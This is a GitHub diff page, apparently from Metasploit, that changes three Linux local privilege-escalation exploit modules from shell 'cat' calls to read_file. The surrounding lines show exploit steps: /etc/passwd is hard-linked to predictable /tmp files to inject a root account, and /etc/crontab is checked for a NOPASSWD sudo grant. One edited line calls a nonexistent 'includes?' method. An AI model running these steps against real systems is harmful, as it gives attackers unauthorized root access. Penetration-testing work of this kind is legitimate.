File tree Expand file tree Collapse file tree 3 files changed +5
-5
lines changed Expand file tree Collapse file tree 3 files changed +5
-5
lines changed Original file line number Diff line number Diff line change @@ -90,7 +90,7 @@ def iptables_loaded?()
90
90
def shemsham_installed? ( )
91
91
# we want this to be false.
92
92
vprint_status ( 'Checking if shem or sham are installed' )
93
- shemsham = cmd_exec ( 'cat /proc/cpuinfo')
93
+ shemsham = read_file ( ' /proc/cpuinfo')
94
94
if shemsham . include? ( 'shem' )
95
95
print_error ( 'shem installed, system not vulnerable.' )
96
96
elsif shemsham . include? ( 'sham' )
Original file line number Diff line number Diff line change @@ -123,7 +123,7 @@ def sploit
123
123
vprint_status ( "Now to check whether the script worked..." )
124
124
125
125
# Check whether it worked
126
- crontab = cmd_exec ( "cat /etc/crontab")
126
+ crontab = read_file ( " /etc/crontab")
127
127
vprint_status ( "Reading crontab yielded the following response: #{ crontab } " )
128
128
unless crontab . include? "ALL ALL=(ALL) NOPASSWD: ALL"
129
129
vprint_error ( "Bad news... it did not write to the file." )
Original file line number Diff line number Diff line change @@ -63,7 +63,7 @@ def normalize_minutes
63
63
64
64
def run
65
65
print_status "Setting up the victim's /tmp dir"
66
- initial_size = cmd_exec ( "cat /etc/passwd | wc -l" )
66
+ initial_size = read_file ( " /etc/passwd" ) . lines . count
67
67
print_status "/etc/passwd is currently #{ initial_size } lines long"
68
68
i = 0
69
69
j = 0
@@ -75,7 +75,7 @@ def run
75
75
print_status "Linking /etc/passwd to predictable tmp files (Attempt #{ j } )"
76
76
cmd_exec ( "for i in `seq 0 120` ; do ln /etc/passwd /tmp/msf3-session_`date --date=\" \$ i seconds\" +%Y-%m-%d_%H-%M-%S`.pcap ; done" )
77
77
end
78
- current_size = cmd_exec ( "cat /etc/passwd | wc -l" )
78
+ current_size = read_file ( " /etc/passwd" ) . lines . count
79
79
if current_size == initial_size
80
80
# PCAP is flowing
81
81
pkt = "\n \n " + datastore [ 'USERNAME' ] + ":" + datastore [ 'PASSWORD' ] . crypt ( "0a" ) + ":0:0:Metasploit Root Account:/tmp:/bin/bash\n \n "
@@ -92,7 +92,7 @@ def run
92
92
i = ( i +1 ) % 60 # increment second counter
93
93
end
94
94
95
- if cmd_exec ( "(grep Metasploit /etc/passwd > /dev/null && echo true) || echo false ") . include ?( "true " )
95
+ if read_file ( " /etc/passwd") . includes ?( "Metasploit " )
96
96
print_good ( "Success. You should now be able to login or su to the '" + datastore [ 'USERNAME' ] + "' account" )
97
97
# TODO: Consider recording our now-created username and password as a valid credential here.
98
98
else
You can’t perform that action at this time.
0 commit comments